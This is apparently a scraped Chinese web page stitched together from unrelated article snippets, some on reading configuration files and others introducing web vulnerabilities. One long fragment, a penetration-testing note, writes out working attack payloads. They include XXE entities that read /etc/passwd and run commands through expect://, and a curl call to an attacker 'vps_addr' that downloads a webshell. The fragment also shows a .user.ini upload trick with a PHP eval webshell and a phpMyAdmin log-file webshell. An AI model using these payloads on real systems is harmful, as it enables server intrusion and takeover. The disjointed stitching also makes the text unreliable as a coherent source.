目录浏览漏洞是由于网站存在配置缺陷，导致网站目录可以被任意浏览，这会导致网站很多隐私文件与目录泄露，比如数据库备份文件、配置文件等，攻击者利用该信息可以为进一步入侵网站做准备。
Python代码审计方法多种多样，但是总而言之是根据前人思路的迁移融合扩展而形成。目前Python代码审计思路，呈现分散和多样的趋势。Python微薄研发经验以及结合实际遇到的思路和技巧进行总结，以便于朋友们的学习和参考。
这篇文章由"潇湘信安技术交流群"@天明师傅投稿，记录的是他在公司某个安服项目中碰到了这个BI平台，机缘巧合之下发现了这个通用漏洞，特意投稿分享下经验。
视频网关是一种协议转换器，又称为网间连接器，视频网关就是在网络层以上实现网络相互连接，也就是网络互连。是最复杂的网络互连设备，用于两个高层协议不同的网络互连。视频网关既可以用于广域网互连，也可以用于局域网互连。网关是一种充当转换重任的计算机系统或设备。使用在不同的通信协议、数据格式或语言，甚至体系结构完全不同的两种系统之间。
目录遍历又称"路径遍历"，由于web服务器配置错误导致网站的目录暴露可以被随意浏览，这种被称为"目录遍历"
（2）批量搜索漏洞.（GlassFish 任意文件读取（CVE-2017-1000028））
大家好，我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享，还包含一个HTB靶场供大家练习，我们给这个项目起了一个名字叫 Web安全实战 ，希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法（手工测试，工具测试）-靶场测试（分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖）-实战演练（主要选择相应CMS或者是Vulnhub进行实战演练)，如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们，一起完善这个项目，欢迎通过邮件形式（sec-redclub@qq.com）联系我们。
哈喽大家好,近期我们Sine安全对客户平台进行渗透测试的时候,发现有一些命令执行的漏洞测试语句和函数,导致服务器被提权被入侵,上一节提到XSS跨站脚本攻击检测方法,本章来总和一下脚本执行命令的详细检测手段,以及绕过waf的办法,只有这样详细的对平台进行安全测试才能保障整个平台安全稳定。
在程序运行使用当中，尤其是框架设计中，配置文件是必不可少的，配置文件的存在能够放置参数或者选项设置，使得程序更加灵活可用，下面就来介绍 Python 读取配置文件的常用方法。
任意文件读取下载 由于一些网站的业务需要,往往需要提供文件读取或下载的一个模块,但如果没有对读取或下载做一个白名单或者限制，可能导致恶意攻击者读取下载一些敏感信息(etc/passwd 等),对服务器做下一步的进攻与威胁。
介绍 XXE 之前，我先来说一下普通的 XML 注入，这个的利用面比较狭窄，如果有的话应该也是逻辑漏洞
在Linux中rm -rf的威力是十分巨大的，特别是附带了 -f 参数，不少新手都干过用root用户执行 rm -rf /命令这种傻事，如果云服务器没有快照，简直就是灾难，从根目录开始所有文件被递归删除，连系统都被损坏。
丢到里面直接解密就好了，如果解不出来，直接换一个md5值，或者设置密码为空密码也成。
注意： ip[100] 的下标如果给少的话 读取时就会溢出 运行成功后才会报错。
https://github.com/gongluck/Code-snippet/tree/master/cpp/config
简单的文件读取，一般我们会使用 file_get_contents() 这类方式来直接获取文件的内容。不过这种函数有个严重的问题是它会把文件一次性地加载到内存中，也就是说，它会受到内存的限制。因此，加载大文件的时候是绝对不能使用这种方式的。我们还是先看看这种方式加载的例子。
介绍：一些网站由于业务需求，可能提供文件查看或下载功能。如果对用户查看或下载的文件不做限制，则恶意用户能够查看或下载任意文件，可以是源代码文件、敏感文件等。
知识分享之Golang篇是我在日常使用Golang时学习到的各种各样的知识的记录，将其整理出来以文章的形式分享给大家，来进行共同学习。欢迎大家进行持续关注。
运行后即可读取到username的值，上文中的Section有什么作用呢？我们在配置文件中加入以下配置
由于一些网站的业务 需要往往需要提供文件读取或下载的一个模块,但如果没有对读取或下载做一个白名 单或者限制，可能导致恶意攻击者读取下载一些敏感信息(etc/passwd等)，对服务器做下一步的进攻与威 胁。
大多数网站都提供读取文件功能，一般实现过程是，根据参数filename的值，获得该文件在网站上的绝对路径，读取文件。 这里，通过两个任意文件读取漏洞实例去展示漏洞原理、漏洞危害。
一、ini文件介绍 ini配置文件常用于存储项目全局变量 如：接口地址、输出文件路径、项目地址、用户名、密码等 二、ini文件编写格式 [节点] 选项=选项值 ;表示注释 注意：节点名不可以重复【所以写入新节点前要判断是否存在】 三、.ini 文件读取 1、.ini文件读 import configparser config = configparser.ConfigParser() config.read('config.ini') # 获取所有节点 sec = config.sections() pr
这次我们来学习的是一些不是太常用，但却也非常有用的一些函数。它们中有些大家可能见过或者使用过，有一些可能就真的没什么印象了。它们都是 PHP 中文件系统相关操作函数的一部分。存在即合理，或许只是我们的业务开发中还没有接触到而已。不管别的，先混个脸熟，在真正需要它们的时候你能马上想起来 PHP 就自带一个这样的函数就可以了。
首先，ssrf漏洞是利用对方服务器执行，其漏洞的形成原因一般是因为web服务取引用了外部的文件或者url，服务器对于数据没有过滤或者检测是否合法性的话，这里黑客可以通过修改外部引用的东西实现ssrf攻击。
-get(section,option) 得到section中option的值，返回为string类型
这应该是一个很早以前就爆出来的漏洞，而我见到的时候是在TCTF2018 final线下赛的比赛中，是被 Dragon Sector 和 Cykor 用来非预期h4x0r’s club这题的一个技巧。
Splunk Enterprise 是一款强大的机器数据管理和分析平台，能够实时收集、索引、搜索、分析和可视化来自各种数据源的日志和数据，帮助企业提升运营效率、增强安全性和优化业务决策。
打开发现是grafana的登录界面，下面有对应的版本号，直接网上搜一搜有无对应的CVE
这应该是一个很早以前就爆出来的漏洞，而我见到的时候是在TCTF2018 final线下赛的比赛中，是被 Dragon Sector 和 Cykor 用来非预期h4x0r's club这题的一个技巧。
1.3、XXE相关技巧 1.3.1、XXE载荷构技巧 使用seclists的XXE-Fuzzing.txt的第9行，做一个简单改造即可使用。对比如下： 改造前： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 改造后： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> XXE-Fuzzing.txt的路径：SecLists\Fuzzing\XXE-Fuzzing.txt 有了上述载荷以后，再加上回显位置即可成功利用，完整载荷示例： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> <name> <email> &foo; </email> </name> 1.3.2、命令执行&&getshell 命令执行的原理是把文件读取用的file://协议换成了expect://协议。 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://id" >]> <name> <email> &foo; </email> </name> getshell则是命令执行的变种，通过上传webshell来。 利用前提：知道目标服务器的脚本语言类型和webshell上传后的大致位置。如果是OSS上，直接寄。 1）使用python托管webshell python -m http.server 8088 2）下载webshell <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://curl$IFS'vps_addr:port/111.php'$IFS-o$IFS'222.php'" >]> <name> <email> &foo; </email> </name> 此处webshell下载解析： curl -O vps_addr:port/111.php curl vps_addr:port/111.php -o 222.php 空格用$IFS来替代，没啥好说的，常规思路。 下载url不能带协议 下载url用单引号包裹，如果是-o方式，保存文件的名称也用单引号包裹起来。 1.4、.user.ini文件上传 这个跟.htaccess差不多，.user.ini是php给用户的自定义配置文件，可将指定文件按照php脚本文件的形式解析。 介绍：https://blog.csdn.net/cosmoslin/article/details/120793126 利用过程： 1）上传.user.ini filename：.user.ini Content-type：image/jpeg 文件正文： GIF89a auto_prepend_file = aaa.jpg 2）上传webshell filename: aaa.jpg Content-type：image/jpeg 文件正文： GIF89a <?php @eval($_POST[22]);?> # 可替换为其他webshell 1.5、盲注分析 导出数据包： 文件——导出分组解析结果——为纯文本 通过notepad++解码： 提取所有注入数据包，此处使用notepad++中的标记功能，查找模式设置为正则表达式。 提取出来以后，找到临界值。当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。 找到所有数据后，用英文的逗号隔开，然后使用convert从dec转成text。 1.6、phpmyadmin后台写日志马 前提：知道web根目录。 set global general_log = 'on'; set global general_log_file = 'c:/phpstudy/111.php' select "<?php @eval($_POST[22]);?>" web根目
本文介绍php OSS文件读取和写入文件， workerman 生成临时文件并输出浏览器下载
描述: 作为开发者相信对应用程序的配置文件并不陌生吧，例如 Java Spring Boot 里的 class 目录中程序配置，当然go语言相关项目也是可以根据配置文件的格式内容进行读取的，常规的配置文件格式有 json、ini、yaml (个人推荐)、properties 等，我们可以使用其为程序配置一些初始化的可变参数，例如 数据库字符串链接以及认证密码等等。
程序开发人员一般会把重复使用的函数写到单个文件中，需要使用某个函数时直接调用此文件，而无需再次编写，这种文件调用的过程一般被称为文件包含。
文件包含漏洞属于代码注入漏洞，为了减少重复代码的编写，引入了文件包含函数，通过文件包含函数将文件包含进来，直接使用包含文件的代码；简单来说就是一个文件里面包含另外一个或多个文件。
本文介绍php OSS文件读取和写入文件，workerman生成临时文件并输出浏览器下载
java之的读取文件大全 使用java进行文件读写，因为使用的频率不高，加上写起来也没那么简单，经常容易忘记，然后就得去翻阅以前的笔记，或者找寻之前写的文件读写代码，这次决定好好的整理下这块的知识点，并写几个通用的工具类，简化文件读写的操作 本篇博文将以下面几个点作为研究对象 文件类型 普通文件读写 json文件读写 csv文件读写 xml文件读写 ini文件读写 properties文件读写 yaml 文件读写 读取方式 相对路径 绝对路径 互联网 jar包文件读取 编码 编码格式 1. 读写类介绍
Content-Length:上传内容大小 MAX_FILE_SIZE:上传内容最大长度 filename:文件名 Content-Type:文件类型 上传路径等
为了方便即将到来的HVV行动，为大家提供更好的掌握渗透攻击技能，特意收集了一些关于HVV常见的面试题给大家参考。
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集，旨在提高网络安全技术水平为目的，只做技术研究，谨遵守国家相关法律法规，请勿用于违法用途。
ini 即 Initialize ，是Windows中常用的配置文件格式，结构比较简单，主要由节（Section）、键（key）和值（value）组成。每个独立部分称之为section，每个section内，都是key（option）=value形成的键值对。
我本地和服务器的连接一直使用的是 Xshell 5，而在与服务器进行文件操作的时候使用的是 Xshell 推荐安装的一个工具 Xftp 5，然而，昨天自己想着从服务器下载备份好的的数据库文件到本地的时候发现这个文件传输工具居然过期不能用了，好气啊！于是没办法（机智如我）只好用 Python 来实现 SSH 的连接，顺便从服务器批量下载一些文件，实现自动化。
一、漏洞背景 漏洞编号：CVE-2018-1999002 漏洞等级：高危 Jenkins 7 月 18 日的安全通告修复了多个漏洞，其中 SECURITY-914 是由 Orange （博客链接：http://blog.orange.tw/）挖出的 Jenkins 未授权任意文件读取漏洞。 腾讯安全云鼎实验室安全研究人员对该漏洞进行分析发现，利用这个漏洞，攻击者可以读取 Windows 服务器上的任意文件，对于 Linux，在特定条件下也可以进行文件读取。利用文件读取漏洞，攻击者可以获取到 Jenkins
====================================================================
实际开发中，很多时候需要从外部获取数据，根据用户的输入或配置信息来决定下一步应采取的行为。除了使用内置函数input()或者GUI库的控件和对话框来接收用户输入以外，还可以使用sys和argparse模块来接收命令行参数，使用configparser模块从外部配置文件中获取信息。 sys模块的argv是一个包含若干字符串的列表，用来接收命令行参数，其中第一个元素argv[0]是程序本身的名字，后面其他元素是用户输入的其他参数。在输入时，多个命令行参数之间使用空格分隔。 如果某个程序需要配置大量信息，那么可以
协会受邀请参加的一场国外公司举办的渗透比赛，我们是红队，得分方式有两种，一种是通过漏洞攻击实现平台给出的Task，一种是直接提交搜集到的资产中的漏洞，仅限于RCE,SQL,XXE/CSRF,PATH Traversal。不得不说老外办的比赛确实很有意思，只不过我们确实现在Web师傅不多，没能够拿到前三的Bounty，但是也挖到了不少漏洞，在这里做一个分享。
众说周知，Github这块肥肉很受安全人员和黑客关注。因为很多新进程序猿和老手不经意就会把他们的劳动成果分享出来，而往往这种开源精神，奉献精神会对企业带来一定的安全风险。
DTD：Document Type Definition 即文档类型定义，用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明)，也可以独立的放在一个文件中(外部引用)，由于其支持的数据类型有限，无法对元素或属性的内容进行详细规范，在可读性和可扩展性方面也比不上XML Schema。
EasyCVR安防视频云服务经过不断的研发与细化，已经增加了很多新的功能和操作方式，比如用户管理、设备分组、告警查询等，都是方便用户、完善平台管理的一些功能。
争对这2个问题，这边采用了Yaml 进行配置文件的一个管理：YAML 是一种简洁的非标记语言。YAML以数据为中心，使用空白，缩进，分行组织数据，从而使得表示更加简洁易读。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
对象存储
即时通信 IM
